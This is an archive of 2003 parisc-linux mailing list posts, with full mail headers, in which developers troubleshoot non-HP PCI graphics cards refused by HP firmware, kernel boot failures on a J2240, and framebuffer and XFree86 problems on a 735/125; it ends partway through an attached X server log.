	by dsl2.external.hp.com (Postfix) with ESMTP id 336B54829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 10:58:07 -0700 (MST)
Original-Received: from austin.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id 5F92A1781B; Mon,  3 Feb 2003 12:58:03 -0500 (EST)
Original-Received: by austin.mkp.net (Postfix, from userid 1654)
	id 1DF774448D; Mon,  3 Feb 2003 12:58:22 -0500 (EST)
In-Reply-To: <yam9164.1199.146359312@mail.club-internet.fr>
Original-Lines: 20
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17617

>>>>> "baddy" == baddy  <baddy@free.fr> writes:

baddy> I've got a B132L+ with which I am trying to have a 16 ou 24
baddy> bits (better than the original 8-bits framebuffer mode) : I've
baddy> inserted a S3Trio64V2/DX based card but the B132L+ lock at
baddy> boot.

Unfortunately it seems that HP has a check in the firmware that only
allows booting with HP-branded graphics cards.

I have tried several brands in both C160 and C3000, and both machines
refuse to boot with non-HP graphics cards installed.

OTOH, the firmware appears fairly relaxed about unknown
SCSI/network/whatever cards.  It's only graphics.  Sadly :/

-- 
Martin K. Petersen	Wild Open Source, Inc.
mkp@wildopensource.com	http://www.wildopensource.com/



From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L+ and PCI cards
Date: Mon, 3 Feb 2003 18:47:11 +0000 (GMT)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0302031815270.28090-100000@sal.ucc.ie>
References: <yq1smv5p7pd.fsf@austin.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622185 21306 80.91.229.3 (22 Nov 2014 02:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:45 +0000 (UTC)
Cc: baddy@free.fr, <parisc-linux@lists.parisc-linux.org>
To: "Martin K. Petersen" <mkp@mkp.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 11:47:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id D86AE4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 11:47:18 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h13IlB808015;
	Mon, 3 Feb 2003 18:47:11 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <yq1smv5p7pd.fsf@austin.mkp.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17618

On 3 Feb 2003, Martin K. Petersen wrote:

> baddy> I've got a B132L+ with which I am trying to have a 16 ou 24
> baddy> bits (better than the original 8-bits framebuffer mode) : I've
> baddy> inserted a S3Trio64V2/DX based card but the B132L+ lock at
> baddy> boot.
>
> Unfortunately it seems that HP has a check in the firmware that only
> allows booting with HP-branded graphics cards.

Not entirely correct.

You can boot with any PCI-graphics card, but you won't see any output
until X is started (see below). However I haven't heard of anybody that had
success with PCI graphic cards other than the Visualize-EG (well, perhaps
the Voodoo2 with that special framebuffer driver, but I'm not sure)!


> I have tried several brands in both C160 and C3000, and both machines
> refuse to boot with non-HP graphics cards installed.

That's because you probably are using STIcon as default (and not console).
STIcon/STIfb only works with HP graphics cards. I assume by plugging in
the PS2 keyboard and mouse (which are needed to use X, of course) palo
automatically decides to use STIcon instead of serial console.


If you want to run a non-HP graphics card, lets say any ordinary PCI
graphics card taken out of a Intel-PC, then you have to use the serial
console (specify it in palo.conf, do not only use the default automatic
detection), so you won't see anything on the screen until X is started.
You also can't switch between virtual consoles. The reason for that is the
following:

You also can't use the normal Linux framebuffer drivers, since these
assume that the graphics card was initialized first by the BIOS/PDC/SRM
(for that reason the XFree86 server has a small Intel-Emulator built-in
to be able to initialize graphics cards on non-Intel platforms itself).

Well, the PDC doesn't initialize non-HP graphics cards - actually doesn't
support them at all - so you also can't use STI in combination with
non-HP cards. This means you won't see any kernel messages on the screen,
since for that either STIcon or a Linux framebuffer driver is needed.

Most of the 'generic' framebuffer drivers are just written, tested and
used on ix86 (or maybe Alpha) anyway, so the best bet to make a non-HP
graphics cards running on Linux/PA-RISC is XFree86.


greetings max



From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 13:59:36 -0500
Lines: 105
Approved: news@gmane.org
Message-ID: <20030203185936.GF1046@hadron>
References: <20030203165321.GA17807@dsl2.external.hp.com> <3E35CAE7000017DD@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622185 21313 80.91.229.3 (22 Nov 2014 02:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:45 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 11:59:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AC584829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 11:59:47 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h13IxhT5023910;
	Mon, 3 Feb 2003 13:59:43 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h13IxbpA023909;
	Mon, 3 Feb 2003 13:59:37 -0500
Content-Disposition: inline
In-Reply-To: <3E35CAE7000017DD@ocpmta7.freegates.net>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17619

Joel, 
	I figured so, but thought I should note it since well I am running
	out of answers ;) 

	Here is the setup right now: I have a laptop running minicom
	connected to the J2240 through the serial port. I can see the init
	codes and tests happening through the serial console, so to answer
	your question :) yes I do boot from a serial console... 

	As far as the cdrom, it is not ide, it is scsi, and it seems to work 
	fine /dev/cdrom --> sr0. I inserted a cdrom (just to test) and
	mounted iso9660 without problems. 

	I am going to remove ide stuff from the kernel after I test with
	what grant suggested. 

	Just for the sake of documentation I will add compile logs as script
	files for the next builds. They will be on that page as I complete
	them. 

	Fun day of pancake making ahead :)

	In another life Joel Soete wrote:

> Aaron,
> 
> Just A comment on your web page 'Comments':
> warning concerning 'mathemu' code are well known annoying but armless.
> 
> I try to remove them but this broken to much original hp code :(
> 
> Now, the stupid question: do you try to boot from a serial console?
> 
> I also would like to know if you really have an ide cdrom on your J?
> 
> If yes, could you try to unplug it (pw supply and data flat cable) to reboot
> with your new kernel?
> 
> hth,
>     Joel
> 
> 
> 
> >-- Original Message --
> >To: "Aaron St. Pierre" <asp@ungod.com>
> >Cc: parisc-linux@lists.parisc-linux.org
> >Subject: Re: [parisc-linux] kernel compile
> >From: grundler@dsl2.external.hp.com (Grant Grundler)
> >Date: Mon, 3 Feb 2003 09:53:21 -0700
> >
> >
> >On Mon, Feb 03, 2003 at 01:43:28AM -0500, Aaron St. Pierre wrote:
> >> Anyway I got the the TOC information for both processors after
> >> I tried to boot my kernel. It is
> >> all on that page ( http://hadron.dyndns.org/parisc/ ) 
> >
> >IIA Offset                   = 0x00000000f0080570
> >
> >that's not a kernel address. Looks like a PDC call died. :^(
> >
> >> I also added a link to the firmware. I am running 2.0 of the firmware
> >> and according to hp the most recent is 2.1 or : 
> >> 
> >> Patch Name: /firmware_patches/hp/cpu/PF_CJ224021
> >> Description: HP 9000 Model J2240 firmware 2.1 patch
> >> Date       : 00/10/06
> >
> >hmm...I'd stick with 2.0 for now.
> >
> >> I will start popping stuff out of the kernel, although I am sure I took
> >> out all of the stuff wrt graphics. Another try for persistance sake wont
> >> hurt :) 
> >
> >You still have STI drivers enabled and CONFIG_FB enabled.
> >I'd start with those and then remove others one-by-one.
> >
> >> As far as the palo message, i only started noticing it when I went to
> >> v1.2 of palo. One thing I should note, when I set up / i made it ext3,
> >> boot is off of / and not its own fs so when i realized what i did I just
> >> changed fstab accordingly so it would mount as ext2, although that
> >> couldn't be the problem either since it is loading the debian kernels.
> >
> >/ can be ext3. Palo doesn't care since ext2/ext3 are compatible.
> >What's important is /boot/vmlinux is < 2GB on disk.
> >
> >grant
> >_______________________________________________
> >parisc-linux mailing list
> >parisc-linux@lists.parisc-linux.org
> >http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> ---------------------------------
> Vous surfez avec une ligne classique ?
> Faites des economies avec Tiscali Complete
> ... Plus d'info sur http://complete.tiscali.be
> 

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 667:
 	The neighbor of the beast.


From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L+ and PCI cards
Date: 03 Feb 2003 14:23:53 -0500
Organization: mkp.net
Lines: 27
Approved: news@gmane.org
Message-ID: <yq1k7ghp3qu.fsf@austin.mkp.net>
References: <Pine.LNX.4.44.0302031815270.28090-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622185 21314 80.91.229.3 (22 Nov 2014 02:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:45 +0000 (UTC)
Cc: baddy@free.fr, <parisc-linux@lists.parisc-linux.org>
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 12:23:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1A264829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 12:23:33 -0700 (MST)
Original-Received: from austin.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id 143DC1781B; Mon,  3 Feb 2003 14:23:31 -0500 (EST)
Original-Received: by austin.mkp.net (Postfix, from userid 1654)
	id 10A184448D; Mon,  3 Feb 2003 14:23:54 -0500 (EST)
In-Reply-To: <Pine.LNX.4.44.0302031815270.28090-100000@sal.ucc.ie>
Original-Lines: 26
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17620

>>>>> "M" == M Grabert <xam@cs.ucc.ie> writes:

>> Unfortunately it seems that HP has a check in the firmware that
>> only allows booting with HP-branded graphics cards.

M> Not entirely correct.

It depends on your machine type and firmware version.  Older firmwares
are extremely picky.

In the first PCI-based PA-RISC machines there was a corruption bug in
Dino (the GSC-PCI bus adapter), and the firmware would disallow any
other PCI cards than HP graphics.  Newer Dinos fixed that problem and
PDC allowed 3rd party SCSI/network cards to pass.

However, when I plug in a non-HP graphics board in either C160 or
C3000, the firmware will halt the machine and ask me to pull out the
card before it will allow booting to commence.

This has nothing to do with whether Linux recognizes the card or not,
and which console driver you happen to be using.

-- 
Martin K. Petersen	Wild Open Source, Inc.
mkp@wildopensource.com	http://www.wildopensource.com/



From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bad Max <badmax@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: B132L+ and PCI cards
Date: Mon, 03 Feb 2003 20:51:14 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <yam9164.719.146359312@mail.club-internet.fr>
References: <Pine.LNX.4.44.0302031815270.28090-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622186 21317 80.91.229.3 (22 Nov 2014 02:09:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 12:50:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay-4m.club-internet.fr (relay-4m.club-internet.fr [194.158.104.43])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0F964829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 12:50:35 -0700 (MST)
Original-Received: from club-internet.fr (f07a-5-86.d1.club-internet.fr [212.194.148.86])
	by relay-4m.club-internet.fr (Postfix) with SMTP id 18453E10C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 20:50:34 +0100 (CET)
In-Reply-To: <Pine.LNX.4.44.0302031815270.28090-100000@sal.ucc.ie>
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17621

Hello

On 03-fv-03, you wrote:

[snip]
| > 
| > Not entirely correct.
| > 
| > You can boot with any PCI-graphics card, but you won't see any output
| > until X is started (see below). However I haven't heard of anybody that
| > had success with PCI graphic cards other than the Visualize-EG (well,
| > perhaps the Voodoo2 with that special framebuffer driver, but I'm not
| > sure)!
| > 

The question is not about Linux recognizing the new gfx card or not, the
question is that my S3-based-card lock my B132L+ at power up. So I can't
get Linux booting because the B132L+ don't finish the initialize process.

[snip]
-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: B132L+ and PCI cards
Date: Mon, 3 Feb 2003 20:30:25 +0000 (GMT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0302032024560.28090-100000@sal.ucc.ie>
References: <yam9164.719.146359312@mail.club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622186 21318 80.91.229.3 (22 Nov 2014 02:09:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bad Max <badmax@club-internet.fr>,
	"Martin K. Petersen" <mkp@mkp.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 13:30:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD3CE4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 13:30:29 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h13KUQ809698;
	Mon, 3 Feb 2003 20:30:26 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <yam9164.719.146359312@mail.club-internet.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17622

On Mon, 3 Feb 2003, Bad Max wrote:

> The question is not about Linux recognizing the new gfx card or not, the
> question is that my S3-based-card lock my B132L+ at power up. So I can't
> get Linux booting because the B132L+ don't finish the initialize process.


On Mon, 3 Feb 2003, Martin K. Petersen wrote:

> It depends on your machine type and firmware version.  Older firmwares
> are extremely picky.
>
> In the first PCI-based PA-RISC machines there was a corruption bug in
> Dino (the GSC-PCI bus adapter), and the firmware would disallow any
> other PCI cards than HP graphics.  Newer Dinos fixed that problem and
> PDC allowed 3rd party SCSI/network cards to pass.


Sorry for the misundestanding.
I was not aware that THIS is really a PDC/hardware related issue.

Max



From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FR issues on 735/125
Date: Mon, 3 Feb 2003 16:16:40 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <a05111b06ba648c543776@[192.168.0.22]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416622186 21320 80.91.229.3 (22 Nov 2014 02:09:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 14:25:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c007.snv.cp.net (h000.c007.snv.cp.net [209.228.33.228])
	by dsl2.external.hp.com (Postfix) with SMTP id 144384829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 14:25:40 -0700 (MST)
Original-Received: (cpmta 13463 invoked from network); 3 Feb 2003 13:25:38 -0800
Original-Received: from 65.187.198.65 (HELO ?192.168.0.22?)
  by smtp.directvinternet.com (209.228.33.228) with SMTP; 3 Feb 2003 13:25:38 -0800
X-Sent: 3 Feb 2003 21:25:38 GMT
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17623

It took a while, but it's up and installed, no problems with net 
install.  Now the problem is as follows, I cannot reset the FB, so if 
something uses it(like the NCURSES installer) and I do a soft reset, 
the image persists, even if something is drawn over it.  Any thoughts?
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu) [http://wiglaf.cs-i.brandeis.edu/~aaronm]
My sheep has seven gall bladders, that makes me the King of the Universe!


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] second FB issue
Date: Mon, 3 Feb 2003 19:33:14 -0500
Lines: 142
Approved: news@gmane.org
Message-ID: <20030204003314.GA19021@cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="zYM0uCDKw75PZbzx"
X-Trace: ger.gmane.org 1416622187 21324 80.91.229.3 (22 Nov 2014 02:09:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:47 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 17:33:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wiglaf.cs-i.brandeis.edu (unknown [129.64.46.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2EE84829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 17:33:15 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by wiglaf.cs-i.brandeis.edu (8.11.6/8.11.6) id h140XEl19091
	for parisc-linux@lists.parisc-linux.org; Mon, 3 Feb 2003 19:33:14 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17624

--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

So in continuation of trying to get X workig on my new 735/125, I upgraded to the 2.4.20-pa23 kernel from p-l.o
and frame-buffers exist.  the problem is that X will not initialize
eror log is attached
is there some extra package needed for the FBdev device for X?
thanks again
aaron
-- 
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!

--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="XFree86.0.log"


This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: 21 December 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.16-64 parisc64 [ELF] 
(==) Log file: "/var/log/XFree86.0.log", Time: Sun Feb  2 19:35:20 2003
(==) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "Generic Monitor"
(**) |   |-->Device "Generic Video Card"
(**) |-->Input Device "Keyboard"
(==) Keyboard: CustomKeycode disabled
(**) |-->Input Device "Mouse"
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
	Entry deleted from font path.
